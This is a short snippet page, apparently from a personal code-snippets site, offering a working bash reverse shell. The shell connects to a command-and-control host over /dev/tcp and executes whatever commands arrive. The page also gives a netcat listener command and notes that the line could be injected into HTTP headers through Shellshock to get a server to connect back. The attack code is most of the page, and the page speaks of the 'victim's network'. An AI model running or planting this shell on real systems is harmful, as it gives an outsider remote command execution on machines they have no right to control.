Simple Reverse Shell



Published: 2017-05-14 12:39:38 +0000
Categories: BASH,

Language

BASH

Description

The below is an example of a simple reverse shell to a C&C server (which we assume is myserver.com)

On the C&C server you simply need something listening on the relevant port:

nc -l 4444

Back when Shellshock was at it's highest levels, you could simply inject this into a HTTP header to have the server connect back to you

Snippet

exec 5<>/dev/tcp/myserver.com/4444 ; cat <&5 | while read evil; do $evil 2>&5 >&5; done

Requires

  • Kernel /dev/tcp support (present by default in most builds)
  • Sufficiently loose egress controls on the victim's network

Video Example

Keywords

Reverse, Shell, exec, Example,

Latest Posts


Copyright © 2019 Ben Tasker | Sitemap | Privacy Policy
Available at snippets.bentasker.co.uk and snippets.6zdgh5a5e6zpchdz.onion